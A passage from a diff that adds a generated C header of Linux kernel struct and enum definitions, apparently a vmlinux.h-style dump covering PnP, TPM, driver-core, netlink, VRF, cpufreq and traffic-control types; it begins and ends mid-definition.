(*suspend)(struct pnp_dev *, pm_message_t); + int (*resume)(struct pnp_dev *); + unsigned char number; + struct device dev; + struct list_head cards; + struct list_head devices; +}; + +struct pnp_id { + char id[8]; + struct pnp_id *next; +}; + +struct pnp_card_driver; + +struct pnp_card_link { + struct pnp_card *card; + struct pnp_card_driver *driver; + void *driver_data; + pm_message_t pm_state; +}; + +struct pnp_driver { + const char *name; + const struct pnp_device_id *id_table; + unsigned int flags; + int (*probe)(struct pnp_dev *, const struct pnp_device_id *); + void (*remove)(struct pnp_dev *); + void (*shutdown)(struct pnp_dev *); + int (*suspend)(struct pnp_dev *, pm_message_t); + int (*resume)(struct pnp_dev *); + struct device_driver driver; +}; + +struct pnp_card_driver { + struct list_head global_list; + char *name; + const struct pnp_card_device_id *id_table; + unsigned int flags; + int (*probe)(struct pnp_card_link *, const struct pnp_card_device_id *); + void (*remove)(struct pnp_card_link *); + int (*suspend)(struct pnp_card_link *, pm_message_t); + int (*resume)(struct pnp_card_link *); + struct pnp_driver link; +}; + +struct pnp_dev { + struct device dev; + u64 dma_mask; + unsigned int number; + int status; + struct list_head global_list; + struct list_head protocol_list; + struct list_head card_list; + struct list_head rdev_list; + struct pnp_protocol *protocol; + struct pnp_card *card; + struct pnp_driver *driver; + struct pnp_card_link *card_link; + struct pnp_id *id; + int active; + int capabilities; + unsigned int num_dependent_sets; + struct list_head resources; + struct list_head options; + char name[50]; + int flags; + struct proc_dir_entry *procent; + void *data; +}; + +struct pnp_resource { + struct list_head list; + struct resource res; +}; + +struct kbdiacruc { + unsigned int diacr; + unsigned int base; + unsigned int result; +}; + +enum tpm_chip_flags { + TPM_CHIP_FLAG_BOOTSTRAPPED = 1, + TPM_CHIP_FLAG_TPM2 = 2, + TPM_CHIP_FLAG_IRQ = 4, + TPM_CHIP_FLAG_VIRTUAL = 8, + TPM_CHIP_FLAG_HAVE_TIMEOUTS = 16, + TPM_CHIP_FLAG_ALWAYS_POWERED = 32, + TPM_CHIP_FLAG_FIRMWARE_POWER_MANAGED = 64, + TPM_CHIP_FLAG_FIRMWARE_UPGRADE = 128, +}; + +struct tpm_header { + __be16 tag; + __be32 length; + union { + __be32 ordinal; + __be32 return_code; + }; +} __attribute__((packed)); + +enum tpm_buf_flags { + TPM_BUF_OVERFLOW = 1, +}; + +struct tpm_buf { + unsigned int flags; + u8 *data; +}; + +enum tpm_timeout { + TPM_TIMEOUT = 5, + TPM_TIMEOUT_RETRY = 100, + TPM_TIMEOUT_RANGE_US = 300, + TPM_TIMEOUT_POLL = 1, + TPM_TIMEOUT_USECS_MIN = 100, + TPM_TIMEOUT_USECS_MAX = 500, +}; + +struct stclear_flags_t { + __be16 tag; + u8 deactivated; + u8 disableForceClear; + u8 physicalPresence; + u8 physicalPresenceLock; + u8 bGlobalLock; +} __attribute__((packed)); + +struct tpm1_version { + u8 major; + u8 minor; + u8 rev_major; + u8 rev_minor; +}; + +struct tpm1_version2 { + __be16 tag; + struct tpm1_version version; +}; + +struct timeout_t { + __be32 a; + __be32 b; + __be32 c; + __be32 d; +}; + +struct duration_t { + __be32 tpm_short; + __be32 tpm_medium; + __be32 tpm_long; +}; + +struct permanent_flags_t { + __be16 tag; + u8 disable; + u8 ownership; + u8 deactivated; + u8 readPubek; + u8 disableOwnerClear; + u8 allowMaintenance; + u8 physicalPresenceLifetimeLock; + u8 physicalPresenceHWEnable; + u8 physicalPresenceCMDEnable; + u8 CEKPUsed; + u8 TPMpost; + u8 TPMpostLock; + u8 FIPS; + u8 operator; + u8 enableRevokeEK; + u8 nvLocked; + u8 readSRKPub; + u8 tpmEstablished; + u8 maintenanceDone; + u8 disableFullDALogicInfo; +}; + +typedef union { + struct permanent_flags_t perm_flags; + struct stclear_flags_t stclear_flags; + __u8 owned; + __be32 num_pcrs; + struct tpm1_version version1; + struct tpm1_version2 version2; + __be32 manufacturer_id; + struct timeout_t timeout; + struct duration_t duration; +} cap_t; + +enum tpm_capabilities { + TPM_CAP_FLAG = 4, + TPM_CAP_PROP = 5, + TPM_CAP_VERSION_1_1 = 6, + TPM_CAP_VERSION_1_2 = 26, +}; + +enum tpm_sub_capabilities { + TPM_CAP_PROP_PCR = 257, + TPM_CAP_PROP_MANUFACTURER = 259, + TPM_CAP_FLAG_PERM = 264, + TPM_CAP_FLAG_VOL = 265, + TPM_CAP_PROP_OWNER = 273, + TPM_CAP_PROP_TIS_TIMEOUT = 277, + TPM_CAP_PROP_TIS_DURATION = 288, +}; + +struct tpm1_get_random_out { + __be32 rng_data_len; + u8 rng_data[128]; +}; + +struct klist_node; + +struct klist { + spinlock_t k_lock; + struct list_head k_list; + void (*get)(struct klist_node *); + void (*put)(struct klist_node *); +}; + +struct klist_node { + void *n_klist; + struct list_head n_node; + struct kref n_ref; +}; + +struct klist_iter { + struct klist *i_klist; + struct klist_node *i_cur; +}; + +struct wake_irq { + struct device *dev; + unsigned int status; + int irq; + const char *name; +}; + +struct bus_attribute { + struct attribute attr; + ssize_t (*show)(const struct bus_type *, char *); + ssize_t (*store)(const struct bus_type *, const char *, size_t); +}; + +struct driver_private { + struct kobject kobj; + struct klist klist_devices; + struct klist_node knode_bus; + struct module_kobject *mkobj; + struct device_driver *driver; +}; + +struct driver_attribute { + struct attribute attr; + ssize_t (*show)(struct device_driver *, char *); + ssize_t (*store)(struct device_driver *, const char *, size_t); +}; + +struct subsys_interface { + const char *name; + struct bus_type *subsys; + struct list_head node; + int (*add_dev)(struct device *, struct subsys_interface *); + void (*remove_dev)(struct device *, struct subsys_interface *); +}; + +struct device_private { + struct klist klist_children; + struct klist_node knode_parent; + struct klist_node knode_driver; + struct klist_node knode_bus; + struct klist_node knode_class; + struct list_head deferred_probe; + struct device_driver *async_driver; + char *deferred_probe_reason; + struct device *device; + u8 dead: 1; +}; + +struct subsys_private { + struct kset subsys; + struct kset *devices_kset; + struct list_head interfaces; + struct mutex mutex; + struct kset *drivers_kset; + struct klist klist_devices; + struct klist klist_drivers; + struct blocking_notifier_head bus_notifier; + unsigned int drivers_autoprobe: 1; + const struct bus_type *bus; + struct device *dev_root; + struct kset glue_dirs; + const struct class *class; + struct lock_class_key lock_key; +}; + +struct subsys_dev_iter { + struct klist_iter ki; + const struct device_type *type; +}; + +enum pm_qos_flags_status { + PM_QOS_FLAGS_UNDEFINED = -1, + PM_QOS_FLAGS_NONE = 0, + PM_QOS_FLAGS_SOME = 1, + PM_QOS_FLAGS_ALL = 2, +}; + +enum { + IF_OPER_UNKNOWN = 0, + IF_OPER_NOTPRESENT = 1, + IF_OPER_DOWN = 2, + IF_OPER_LOWERLAYERDOWN = 3, + IF_OPER_TESTING = 4, + IF_OPER_DORMANT = 5, + IF_OPER_UP = 6, +}; + +struct module_version_attribute { + struct module_attribute mattr; + const char *module_name; + const char *version; +}; + +struct icmpv6_echo { + __be16 identifier; + __be16 sequence; +}; + +struct icmpv6_nd_advt { + __u32 reserved: 5; + __u32 override: 1; + __u32 solicited: 1; + __u32 router: 1; + __u32 reserved2: 24; +}; + +struct icmpv6_nd_ra { + __u8 hop_limit; + __u8 reserved: 3; + __u8 router_pref: 2; + __u8 home_agent: 1; + __u8 other: 1; + __u8 managed: 1; + __be16 rt_lifetime; +}; + +struct icmp6hdr { + __u8 icmp6_type; + __u8 icmp6_code; + __sum16 icmp6_cksum; + union { + __be32 un_data32[1]; + __be16 un_data16[2]; + __u8 un_data8[4]; + struct icmpv6_echo u_echo; + struct icmpv6_nd_advt u_nd_advt; + struct icmpv6_nd_ra u_nd_ra; + } icmp6_dataun; +}; + +enum { + IFLA_UNSPEC = 0, + IFLA_ADDRESS = 1, + IFLA_BROADCAST = 2, + IFLA_IFNAME = 3, + IFLA_MTU = 4, + IFLA_LINK = 5, + IFLA_QDISC = 6, + IFLA_STATS = 7, + IFLA_COST = 8, + IFLA_PRIORITY = 9, + IFLA_MASTER = 10, + IFLA_WIRELESS = 11, + IFLA_PROTINFO = 12, + IFLA_TXQLEN = 13, + IFLA_MAP = 14, + IFLA_WEIGHT = 15, + IFLA_OPERSTATE = 16, + IFLA_LINKMODE = 17, + IFLA_LINKINFO = 18, + IFLA_NET_NS_PID = 19, + IFLA_IFALIAS = 20, + IFLA_NUM_VF = 21, + IFLA_VFINFO_LIST = 22, + IFLA_STATS64 = 23, + IFLA_VF_PORTS = 24, + IFLA_PORT_SELF = 25, + IFLA_AF_SPEC = 26, + IFLA_GROUP = 27, + IFLA_NET_NS_FD = 28, + IFLA_EXT_MASK = 29, + IFLA_PROMISCUITY = 30, + IFLA_NUM_TX_QUEUES = 31, + IFLA_NUM_RX_QUEUES = 32, + IFLA_CARRIER = 33, + IFLA_PHYS_PORT_ID = 34, + IFLA_CARRIER_CHANGES = 35, + IFLA_PHYS_SWITCH_ID = 36, + IFLA_LINK_NETNSID = 37, + IFLA_PHYS_PORT_NAME = 38, + IFLA_PROTO_DOWN = 39, + IFLA_GSO_MAX_SEGS = 40, + IFLA_GSO_MAX_SIZE = 41, + IFLA_PAD = 42, + IFLA_XDP = 43, + IFLA_EVENT = 44, + IFLA_NEW_NETNSID = 45, + IFLA_IF_NETNSID = 46, + IFLA_TARGET_NETNSID = 46, + IFLA_CARRIER_UP_COUNT = 47, + IFLA_CARRIER_DOWN_COUNT = 48, + IFLA_NEW_IFINDEX = 49, + IFLA_MIN_MTU = 50, + IFLA_MAX_MTU = 51, + IFLA_PROP_LIST = 52, + IFLA_ALT_IFNAME = 53, + IFLA_PERM_ADDRESS = 54, + IFLA_PROTO_DOWN_REASON = 55, + IFLA_PARENT_DEV_NAME = 56, + IFLA_PARENT_DEV_BUS_NAME = 57, + IFLA_GRO_MAX_SIZE = 58, + IFLA_TSO_MAX_SIZE = 59, + IFLA_TSO_MAX_SEGS = 60, + IFLA_ALLMULTI = 61, + IFLA_DEVLINK_PORT = 62, + IFLA_GSO_IPV4_MAX_SIZE = 63, + IFLA_GRO_IPV4_MAX_SIZE = 64, + __IFLA_MAX = 65, +}; + +enum { + IFLA_VRF_UNSPEC = 0, + IFLA_VRF_TABLE = 1, + __IFLA_VRF_MAX = 2, +}; + +enum { + IFLA_VRF_PORT_UNSPEC = 0, + IFLA_VRF_PORT_TABLE = 1, + __IFLA_VRF_PORT_MAX = 2, +}; + +struct pcpu_dstats { + u64 tx_pkts; + u64 tx_bytes; + u64 tx_drps; + u64 rx_pkts; + u64 rx_bytes; + u64 rx_drps; + struct u64_stats_sync syncp; +}; + +struct netdev_notifier_info { + struct net_device *dev; + struct netlink_ext_ack *extack; +}; + +enum { + IPV4_DEVCONF_FORWARDING = 1, + IPV4_DEVCONF_MC_FORWARDING = 2, + IPV4_DEVCONF_PROXY_ARP = 3, + IPV4_DEVCONF_ACCEPT_REDIRECTS = 4, + IPV4_DEVCONF_SECURE_REDIRECTS = 5, + IPV4_DEVCONF_SEND_REDIRECTS = 6, + IPV4_DEVCONF_SHARED_MEDIA = 7, + IPV4_DEVCONF_RP_FILTER = 8, + IPV4_DEVCONF_ACCEPT_SOURCE_ROUTE = 9, + IPV4_DEVCONF_BOOTP_RELAY = 10, + IPV4_DEVCONF_LOG_MARTIANS = 11, + IPV4_DEVCONF_TAG = 12, + IPV4_DEVCONF_ARPFILTER = 13, + IPV4_DEVCONF_MEDIUM_ID = 14, + IPV4_DEVCONF_NOXFRM = 15, + IPV4_DEVCONF_NOPOLICY = 16, + IPV4_DEVCONF_FORCE_IGMP_VERSION = 17, + IPV4_DEVCONF_ARP_ANNOUNCE = 18, + IPV4_DEVCONF_ARP_IGNORE = 19, + IPV4_DEVCONF_PROMOTE_SECONDARIES = 20, + IPV4_DEVCONF_ARP_ACCEPT = 21, + IPV4_DEVCONF_ARP_NOTIFY = 22, + IPV4_DEVCONF_ACCEPT_LOCAL = 23, + IPV4_DEVCONF_SRC_VMARK = 24, + IPV4_DEVCONF_PROXY_ARP_PVLAN = 25, + IPV4_DEVCONF_ROUTE_LOCALNET = 26, + IPV4_DEVCONF_IGMPV2_UNSOLICITED_REPORT_INTERVAL = 27, + IPV4_DEVCONF_IGMPV3_UNSOLICITED_REPORT_INTERVAL = 28, + IPV4_DEVCONF_IGNORE_ROUTES_WITH_LINKDOWN = 29, + IPV4_DEVCONF_DROP_UNICAST_IN_L2_MULTICAST = 30, + IPV4_DEVCONF_DROP_GRATUITOUS_ARP = 31, + IPV4_DEVCONF_BC_FORWARDING = 32, + IPV4_DEVCONF_ARP_EVICT_NOCARRIER = 33, + __IPV4_DEVCONF_MAX = 34, +}; + +enum { + RTN_UNSPEC = 0, + RTN_UNICAST = 1, + RTN_LOCAL = 2, + RTN_BROADCAST = 3, + RTN_ANYCAST = 4, + RTN_MULTICAST = 5, + RTN_BLACKHOLE = 6, + RTN_UNREACHABLE = 7, + RTN_PROHIBIT = 8, + RTN_THROW = 9, + RTN_NAT = 10, + RTN_XRESOLVE = 11, + __RTN_MAX = 12, +}; + +enum rt_scope_t { + RT_SCOPE_UNIVERSE = 0, + RT_SCOPE_SITE = 200, + RT_SCOPE_LINK = 253, + RT_SCOPE_HOST = 254, + RT_SCOPE_NOWHERE = 255, +}; + +enum rt_class_t { + RT_TABLE_UNSPEC = 0, + RT_TABLE_COMPAT = 252, + RT_TABLE_DEFAULT = 253, + RT_TABLE_MAIN = 254, + RT_TABLE_LOCAL = 255, + RT_TABLE_MAX = 4294967295, +}; + +enum { + FRA_UNSPEC = 0, + FRA_DST = 1, + FRA_SRC = 2, + FRA_IIFNAME = 3, + FRA_GOTO = 4, + FRA_UNUSED2 = 5, + FRA_PRIORITY = 6, + FRA_UNUSED3 = 7, + FRA_UNUSED4 = 8, + FRA_UNUSED5 = 9, + FRA_FWMARK = 10, + FRA_FLOW = 11, + FRA_TUN_ID = 12, + FRA_SUPPRESS_IFGROUP = 13, + FRA_SUPPRESS_PREFIXLEN = 14, + FRA_TABLE = 15, + FRA_FWMASK = 16, + FRA_OIFNAME = 17, + FRA_PAD = 18, + FRA_L3MDEV = 19, + FRA_UID_RANGE = 20, + FRA_PROTOCOL = 21, + FRA_IP_PROTO = 22, + FRA_SPORT_RANGE = 23, + FRA_DPORT_RANGE = 24, + __FRA_MAX = 25, +}; + +enum { + FR_ACT_UNSPEC = 0, + FR_ACT_TO_TBL = 1, + FR_ACT_GOTO = 2, + FR_ACT_NOP = 3, + FR_ACT_RES3 = 4, + FR_ACT_RES4 = 5, + FR_ACT_BLACKHOLE = 6, + FR_ACT_UNREACHABLE = 7, + FR_ACT_PROHIBIT = 8, + __FR_ACT_MAX = 9, +}; + +enum l3mdev_type { + L3MDEV_TYPE_UNSPEC = 0, + L3MDEV_TYPE_VRF = 1, + __L3MDEV_TYPE_MAX = 2, +}; + +struct nf_conntrack_l4proto; + +struct vrf_map { + struct hlist_head ht[16]; + spinlock_t vmap_lock; + u32 shared_tables; + bool strict_mode; +}; + +struct vrf_map_elem { + struct hlist_node hnode; + struct list_head vrf_list; + u32 table_id; + int users; + int ifindex; +}; + +struct netns_vrf { + bool add_fib_rules; + struct vrf_map vmap; + struct ctl_table_header *ctl_hdr; +}; + +struct net_vrf { + struct rtable *rth; + struct rt6_info *rt6; + struct fib6_table *fib6_table; + u32 tb_id; + struct list_head me_list; + int ifindex; +}; + +struct gov_attr_set { + struct kobject kobj; + struct list_head policy_list; + struct mutex update_lock; + int usage_count; +}; + +struct governor_attr { + struct attribute attr; + ssize_t (*show)(struct gov_attr_set *, char *); + ssize_t (*store)(struct gov_attr_set *, const char *, size_t); +}; + +enum { + OD_NORMAL_SAMPLE = 0, + OD_SUB_SAMPLE = 1, +}; + +struct dbs_governor; + +struct dbs_data { + struct gov_attr_set attr_set; + struct dbs_governor *gov; + void *tuners; + unsigned int ignore_nice_load; + unsigned int sampling_rate; + unsigned int sampling_down_factor; + unsigned int up_threshold; + unsigned int io_is_busy; +}; + +struct policy_dbs_info; + +struct dbs_governor { + struct cpufreq_governor gov; + struct kobj_type kobj_type; + struct dbs_data *gdbs_data; + unsigned int (*gov_dbs_update)(struct cpufreq_policy *); + struct policy_dbs_info * (*alloc)(); + void (*free)(struct policy_dbs_info *); + int (*init)(struct dbs_data *); + void (*exit)(struct dbs_data *); + void (*start)(struct cpufreq_policy *); +}; + +struct policy_dbs_info { + struct cpufreq_policy *policy; + struct mutex update_mutex; + u64 last_sample_time; + s64 sample_delay_ns; + atomic_t work_count; + struct irq_work irq_work; + struct work_struct work; + struct dbs_data *dbs_data; + struct list_head list; + unsigned int rate_mult; + unsigned int idle_periods; + bool is_shared; + bool work_in_progress; +}; + +struct od_ops { + unsigned int (*powersave_bias_target)(struct cpufreq_policy *, unsigned int, unsigned int); +}; + +struct od_policy_dbs_info { + struct policy_dbs_info policy_dbs; + unsigned int freq_lo; + unsigned int freq_lo_delay_us; + unsigned int freq_hi_delay_us; + unsigned int sample_type: 1; +}; + +struct od_dbs_tuners { + unsigned int powersave_bias; +}; + +enum { + IF_LINK_MODE_DEFAULT = 0, + IF_LINK_MODE_DORMANT = 1, + IF_LINK_MODE_TESTING = 2, +}; + +struct netdev_name_node { + struct hlist_node hlist; + struct list_head list; + struct net_device *dev; + const char *name; +}; + +struct sd_flow_limit { + u64 count; + unsigned int num_buckets; + unsigned int history_head; + u16 history[128]; + u8 buckets[0]; +}; + +enum lw_bits { + LW_URGENT = 0, +}; + +enum tc_link_layer { + TC_LINKLAYER_UNAWARE = 0, + TC_LINKLAYER_ETHERNET = 1, + TC_LINKLAYER_ATM = 2, +}; + +struct tc_ratespec { + unsigned char cell_log; + __u8 linklayer; + short unsigned int overhead; + short int cell_align; + short unsigned int mpu; + __u32 rate; +}; + +enum { + TCA_STAB_UNSPEC = 0, + TCA_STAB_BASE = 1, + TCA_STAB_DATA = 2, + __TCA_STAB_MAX = 3, +}; + +enum tca_id { + TCA_ID_UNSPEC = 0, + TCA_ID_POLICE = 1, + TCA_ID_GACT = 5, + TCA_ID_IPT = 6, + TCA_ID_PEDIT = 7, + TCA_ID_MIRRED = 8, + TCA_ID_NAT = 9, + TCA_ID_XT = 10, + TCA_ID_SKBEDIT = 11, + TCA_ID_VLAN = 12, + TCA_ID_BPF = 13, + TCA_ID_CONNMARK = 14, + TCA_ID_SKBMOD = 15, + TCA_ID_CSUM = 16, + TCA_ID_TUNNEL_KEY = 17, + TCA_ID_SIMP = 22, + TCA_ID_IFE = 25, + TCA_ID_SAMPLE = 26, + TCA_ID_CTINFO = 27, + TCA_ID_MPLS = 28, + TCA_ID_CT = 29, + TCA_ID_GATE = 30, + __TCA_ID_MAX = 255, +}; + +struct tcf_t { + __u64 install; + __u64 lastuse; + __u64 expires; + __u64 firstuse; +}; + +enum { + RTM_BASE = 16, + RTM_NEWLINK = 16, + RTM_DELLINK = 17, + RTM_GETLINK = 18, + RTM_SETLINK = 19, + RTM_NEWADDR = 20, + RTM_DELADDR = 21, + RTM_GETADDR = 22, + RTM_NEWROUTE = 24, + RTM_DELROUTE = 25, + RTM_GETROUTE = 26, + RTM_NEWNEIGH = 28, + RTM_DELNEIGH = 29, + RTM_GETNEIGH = 30, + RTM_NEWRULE = 32, + RTM_DELRULE = 33, + RTM_GETRULE = 34, + RTM_NEWQDISC = 36, + RTM_DELQDISC = 37, + RTM_GETQDISC = 38, + RTM_NEWTCLASS = 40, + RTM_DELTCLASS = 41, + RTM_GETTCLASS = 42, + RTM_NEWTFILTER = 44, + RTM_DELTFILTER = 45, + RTM_GETTFILTER = 46, + RTM_NEWACTION = 48, + RTM_DELACTION = 49, + RTM_GETACTION = 50, + RTM_NEWPREFIX = 52, + RTM_GETMULTICAST = 58, + RTM_GETANYCAST = 62, + RTM_NEWNEIGHTBL = 64, + RTM_GETNEIGHTBL = 66, + RTM_SETNEIGHTBL = 67, + RTM_NEWNDUSEROPT = 68, + RTM_NEWADDRLABEL = 72, + RTM_DELADDRLABEL = 73, + RTM_GETADDRLABEL = 74, + RTM_GETDCB = 78, + RTM_SETDCB = 79, + RTM_NEWNETCONF = 80, + RTM_DELNETCONF = 81, + RTM_GETNETCONF = 82, + RTM_NEWMDB = 84, + RTM_DELMDB = 85, + RTM_GETMDB = 86, + RTM_NEWNSID = 88, + RTM_DELNSID = 89, + RTM_GETNSID = 90, + RTM_NEWSTATS = 92, + RTM_GETSTATS = 94, + RTM_SETSTATS = 95, + RTM_NEWCACHEREPORT = 96, + RTM_NEWCHAIN = 100, + RTM_DELCHAIN = 101, + RTM_GETCHAIN = 102, + RTM_NEWNEXTHOP = 104, + RTM_DELNEXTHOP = 105, + RTM_GETNEXTHOP = 106, + RTM_NEWLINKPROP = 108, + RTM_DELLINKPROP = 109, + RTM_GETLINKPROP = 110, + RTM_NEWVLAN = 112, + RTM_DELVLAN = 113, + RTM_GETVLAN = 114, + RTM_NEWNEXTHOPBUCKET = 116, + RTM_DELNEXTHOPBUCKET = 117, + RTM_GETNEXTHOPBUCKET = 118, + RTM_NEWTUNNEL = 120, + RTM_DELTUNNEL = 121, + RTM_GETTUNNEL = 122, + __RTM_MAX = 123, +}; + +enum { + TCA_UNSPEC = 0, + TCA_KIND = 1, + TCA_OPTIONS = 2, + TCA_STATS = 3, + TCA_XSTATS = 4, + TCA_RATE = 5, + TCA_FCNT = 6, + TCA_STATS2 = 7, + TCA_STAB = 8, + TCA_PAD = 9, + TCA_DUMP_INVISIBLE = 10, + TCA_CHAIN = 11, + TCA_HW_OFFLOAD = 12, + TCA_INGRESS_BLOCK = 13, + TCA_EGRESS_BLOCK = 14, + TCA_DUMP_FLAGS = 15, + TCA_EXT_WARN_MSG = 16, + __TCA_MAX = 17, +}; + +enum rtnetlink_groups { + RTNLGRP_NONE = 0, + RTNLGRP_LINK = 1, + RTNLGRP_NOTIFY = 2, + RTNLGRP_NEIGH = 3, + RTNLGRP_TC = 4, + RTNLGRP_IPV4_IFADDR = 5, + RTNLGRP_IPV4_MROUTE = 6, + RTNLGRP_IPV4_ROUTE = 7, + RTNLGRP_IPV4_RULE = 8, + RTNLGRP_IPV6_IFADDR = 9, + RTNLGRP_IPV6_MROUTE = 10, + RTNLGRP_IPV6_ROUTE = 11, + RTNLGRP_IPV6_IFINFO = 12, + RTNLGRP_DECnet_IFADDR = 13, + RTNLGRP_NOP2 = 14, + RTNLGRP_DECnet_ROUTE = 15, + RTNLGRP_DECnet_RULE = 16, + RTNLGRP_NOP4 = 17, + RTNLGRP_IPV6_PREFIX = 18, + RTNLGRP_IPV6_RULE = 19, + RTNLGRP_ND_USEROPT = 20, + RTNLGRP_PHONET_IFADDR = 21, + RTNLGRP_PHONET_ROUTE = 22, + RTNLGRP_DCB = 23, + RTNLGRP_IPV4_NETCONF = 24, + RTNLGRP_IPV6_NETCONF = 25, + RTNLGRP_MDB = 26, + RTNLGRP_MPLS_ROUTE = 27, + RTNLGRP_NSID = 28, + RTNLGRP_MPLS_NETCONF = 29, + RTNLGRP_IPV4_MROUTE_R = 30, + RTNLGRP_IPV6_MROUTE_R = 31, + RTNLGRP_NEXTHOP = 32, + RTNLGRP_BRVLAN = 33, + RTNLGRP_MCTP_IFADDR = 34, + RTNLGRP_TUNNEL = 35, + RTNLGRP_STATS = 36, + __RTNLGRP_MAX = 37, +}; + +struct qdisc_rate_table { + struct tc_ratespec rate; + u32 data[256]; + struct qdisc_rate_table *next; + int refcnt; +}; + +enum qdisc_state_t { + __QDISC_STATE_SCHED = 0, + __QDISC_STATE_DEACTIVATED = 1, + __QDISC_STATE_MISSED = 2, + __QDISC_STATE_DRAINING = 3, +}; + +struct tcf_walker { + int stop; + int skip; + int count; + bool nonempty; + long unsigned int cookie; + int (*fn)(struct tcf_proto *, void *, struct tcf_walker *); +}; + +struct tc_action; + +struct tcf_exts_miss_cookie_node; + +struct tcf_exts { + __u32 type; + int nr_actions; + struct tc_action **actions; + struct net *net; + netns_tracker ns_tracker; + struct tcf_exts_miss_cookie_node *miss_cookie_node; + int action; + int police; +}; + +struct Qdisc_class_common { + u32 classid; + struct hlist_node hnode; +}; + +struct Qdisc_class_hash { + struct hlist_head *hash; + unsigned int hashsize; + unsigned int hashmask; + unsigned int hashelems; +}; + +struct qdisc_watchdog { + struct hrtimer timer; + struct Qdisc *qdisc; +}; + +struct tc_query_caps_base { + enum tc_setup_type type; + void *caps; +}; + +struct tcf_idrinfo { + struct mutex lock; + struct idr action_idr; + struct net *net; +}; + +struct tc_action_ops; + +struct tc_cookie; + +struct tc_action { + const struct tc_action_ops *ops; + __u32 type; + struct tcf_idrinfo *idrinfo; + u32 tcfa_index; + refcount_t tcfa_refcnt; + atomic_t tcfa_bindcnt; + int tcfa_action; + struct tcf_t tcfa_tm; + long: 64; + struct gnet_stats_basic_sync tcfa_bstats; + struct gnet_stats_basic_sync tcfa_bstats_hw; + struct gnet_stats_queue tcfa_qstats; + struct net_rate_estimator *tcfa_rate_est; + spinlock_t tcfa_lock; + struct gnet_stats_basic_sync *cpu_bstats; + struct gnet_stats_basic_sync *cpu_bstats_hw; + struct gnet_stats_queue *cpu_qstats; + struct tc_cookie *user_cookie; + struct tcf_chain *goto_chain; + u32 tcfa_flags; + u8 hw_stats; + u8 used_hw_stats; + bool used_hw_stats_valid; + u32 in_hw_count; + long: 64; +}; + +typedef void (*tc_action_priv_destructor)(void *); + +struct psample_group; + +struct tc_action_ops { + struct list_head head; + char kind[16]; + enum tca_id id; + unsigned int net_id; + size_t size; + struct module *owner; + int (*act)(struct sk_buff *, const struct tc_action *, struct tcf_result *); + int (*dump)(struct sk_buff *, struct tc_action *, int, int); + void (*cleanup)(struct tc_action *); + int (*lookup)(struct net *, struct tc_action **, u32); + int (*init)(struct net *, struct nlattr *, struct nlattr *, struct tc_action **, struct tcf_proto *, u32, struct netlink_ext_ack *); + int (*walk)(struct net *, struct sk_buff *, struct netlink_callback *, int, const struct tc_action_ops *, struct netlink_ext_ack *); + void (*stats_update)(struct tc_action *, u64, u64, u64, u64, bool); + size_t (*get_fill_size)(const struct tc_action *); + struct net_device * (*get_dev)(const struct tc_action *, tc_action_priv_destructor *); + struct psample_group * (*get_psample_group)(const struct tc_action *, tc_action_priv_destructor *); + int (*offload_act_setup)(struct tc_action *, void *, u32 *, bool, struct netlink_ext_ack *); +}; + +struct tc_cookie { + u8 *data; + u32 len; + struct callback_head rcu; +}; + +enum tc_root_command { + TC_ROOT_GRAFT = 0, +}; + +struct tc_root_qopt_offload { + enum tc_root_command command; + u32 handle; + bool ingress; +}; + +struct check_loop_arg { + struct qdisc_walker w; + struct Qdisc *p; + int depth; +}; + +struct tcf_bind_args { + struct tcf_walker w; + long unsigned int base; + long unsigned int cl; + u32 classid; +}; + +struct tc_bind_class_args { + struct qdisc_walker w; + long unsigned int new_cl; + u32 portid; + u32 clid; +}; + +struct qdisc_dump_args { + struct qdisc_walker w; + struct sk_buff *skb; + struct netlink_callback *cb; +}; + +struct features_reply_data { + struct ethnl_reply_data base; + u32 hw[2]; + u32 wanted[2]; + u32 active[2]; + u32 nochange[2]; + u32 all[2]; +}; + +struct nf_sockopt_ops { + struct list_head list; + u_int8_t pf; + int set_optmin; + int set_optmax; + int (*set)(struct sock *, int, sockptr_t, unsigned int); + int get_optmin; + int get_optmax; + int (*get)(struct sock *, int, void *, int *); + struct module *owner; +}; + +struct xt_state_info { + unsigned int statemask; +}; + +typedef __kernel_clock_t clock_t; + +struct nhmsg { + unsigned char nh_family; + unsigned char nh_scope; + unsigned char nh_protocol; + unsigned char resvd; + unsigned int nh_flags; +}; + +struct nexthop_grp { + __u32 id; + __u8 weight; + __u8 resvd1; + __u16 resvd2; +}; + +enum { + NEXTHOP_GRP_TYPE_MPATH = 0, + NEXTHOP_GRP_TYPE_RES = 1, + __NEXTHOP_GRP_TYPE_MAX = 2, +}; + +enum { + NHA_UNSPEC = 0, + NHA_ID = 1, + NHA_GROUP = 2, + NHA_GROUP_TYPE = 3, + NHA_BLACKHOLE = 4, + NHA_OIF = 5, + NHA_GATEWAY = 6, + NHA_ENCAP_TYPE = 7, + NHA_ENCAP = 8, + NHA_GROUPS = 9, + NHA_MASTER = 10, + NHA_FDB = 11, + NHA_RES_GROUP = 12, + NHA_RES_BUCKET = 13, + __NHA_MAX = 14, +}; + +enum { + NHA_RES_GROUP_UNSPEC = 0, + NHA_RES_GROUP_PAD = 0, + NHA_RES_GROUP_BUCKETS = 1, + NHA_RES_GROUP_IDLE_TIMER = 2, + NHA_RES_GROUP_UNBALANCED_TIMER = 3, + NHA_RES_GROUP_UNBALANCED_TIME = 4, + __NHA_RES_GROUP_MAX = 5, +}; + +enum { + NHA_RES_BUCKET_UNSPEC = 0, + NHA_RES_BUCKET_PAD = 0, + NHA_RES_BUCKET_INDEX = 1, + NHA_RES_BUCKET_IDLE_TIME = 2, + NHA_RES_BUCKET_NH_ID = 3, + __NHA_RES_BUCKET_MAX = 4, +}; + +struct netdev_notifier_info_ext { + struct netdev_notifier_info info; + union { + u32 mtu; + } ext; +}; + +struct rtnexthop { + short unsigned int rtnh_len; + unsigned char rtnh_flags; + unsigned char rtnh_hops; + int rtnh_ifindex; +}; + +typedef u8 dscp_t; + +struct fib_config { + u8 fc_dst_len; + dscp_t fc_dscp; + u8 fc_protocol; + u8 fc_scope; + u8 fc_type; + u8 fc_gw_family; + u32 fc_table; + __be32 fc_dst; + union { + __be32 fc_gw4; + struct in6_addr fc_gw6; + }; + int fc_oif; + u32 fc_flags; + u32 fc_priority; + __be32 fc_prefsrc; + u32 fc_nh_id; + struct nlattr *fc_mx; + struct rtnexthop *fc_mp; + int fc_mx_len; + int fc_mp_len; + u32 fc_flow; + u32 fc_nlflags; + struct nl_info fc_nlinfo; + struct nlattr *fc_encap; + u16 fc_encap_type; +}; + +struct nh_config { + u32 nh_id; + u8 nh_family; + u8 nh_protocol; + u8 nh_blackhole; + u8 nh_fdb; + u32 nh_flags; + int 